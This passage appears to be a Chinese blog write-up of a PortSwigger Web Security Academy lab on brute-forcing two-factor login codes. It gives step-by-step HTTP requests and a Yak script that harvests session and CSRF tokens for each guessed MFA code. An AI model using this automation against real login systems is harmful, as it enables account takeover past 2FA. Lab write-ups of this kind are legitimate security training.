  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1261"
/>
</p>
<p>第二个节点：获取session与csrf</p>
<p>由于登录时会有个随机session和csrf，所以需要提前获取一下。然后传递给登录包用，这里请求包删掉session，然后响应包就会分配一个session和csrf</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">GET</span> <span class="nn">/login</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1253"
/>
</p>
<p>第三个节点：登录页面</p>
<p>登录后是302跳转，这里会再分配一个session，需要获取一下给后面的2FA页面用</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">POST</span> <span class="nn">/login</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span>
</span></span><span class="line hl"><span class="ln">3</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">session={{p(session)}}</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="g">
</span></span></span><span class="line hl"><span class="ln">6</span><span class="cl"><span class="g">csrf={{p(csrf)}}&amp;username=carlos&amp;password=montoya</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1255"
/>
</p>
<p>第四个节点：访问2FA页面</p>
<p>2FA的页面是login2，提交验证码页面有个新csrf需要获取一下</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">GET</span> <span class="nn">/login2</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span>
</span></span><span class="line hl"><span class="ln">3</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">session={{p(session2)}}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1257"
/>
</p>
<p>第五个节点：爆破验证码</p>
<p>把新的session和csrf填进去，爆破一个验证码。由于第一个启动器会不断从字典中取值发包，所以这边流程走完也就能慢慢爆破完验证码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">POST</span> <span class="nn">/login2</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span>
</span></span><span class="line hl"><span class="ln">3</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">session={{p(session2)}}</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line hl"><span class="ln">5</span><span class="cl"><span class="g">csrf={{p(csrf2)}}&amp;mfa-code={{p(pass)}}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1251"
/>
</p>
<p>遇到302就是正确验证码，然后用session登录</p>
<p>流程清晰了，那么脚本就好写了：</p>
<p>热加载：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">beforeRequest = func(req) { 
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    // 访问登录页
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    url=&#34;https://0a9e001f037bdb47823915920053009e.web-security-academy.net&#34;
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    rsp, _ = poc.Get(url+&#34;/login&#34;,poc.retryTimes(10))~
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    csrf1=re.FindSubmatch(rsp.RawPacket, `value=&#34;([^&#34;]*)&#34;`)[1]
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    session1=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    // 登录账号
</span></span><span class="line"><span class="ln">10</span><span class="cl">    rsp, _ = poc.Post(url+&#34;/login&#34;, poc.appendCookie(&#34;session&#34;,session1),poc.replaceBody(f&#34;csrf=${csrf1}&amp;username=carlos&amp;password=montoya&#34;, false),poc.retryTimes(10),poc.noRedirect(true))~ 
</span></span><span class="line"><span class="ln">11</span><span class="cl">    session2=re.FindSubmatch(rsp.RawPacket, `session=([^;]*);`)[1]
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">    // 访问2FA
</span></span><span class="line"><span class="ln">14</span><span class="cl">    rsp, _ = poc.Get(url+&#34;/login2&#34;,poc.appendCookie(&#34;session&#34;,session2),poc.retryTimes(10))~
</span></span><span class="line"><span class="ln">15</span><span class="cl">    csrf2=re.FindSubmatch(rsp.RawPacket, `value=&#34;([^&#34;]*)&#34;`)[1]
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">    // 替换参数
</span></span><span class="line"><span class="ln">18</span><span class="cl">    req = str.ReplaceAll(req, &#34;__session__&#34;, session2)
</span></span><span class="line"><span class="ln">19</span><span class="cl">    req = str.ReplaceAll(req, &#34;__csrf__&#34;, csrf2)
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">    return []byte(req)
</span></span><span class="line"><span class="ln">22</span><span class="cl">}</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">yak</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
]]></content:encoded><h:img src="https://h4cker.zip/034022/Authentication_cover.webp"/><enclosure url="https://h4cker.zip/034022/Authentication_cover.webp"/><category>身份验证</category><category>未授权</category><category>暴力破解</category><category>CSRF</category><category>2FA</category></item></channel></rss>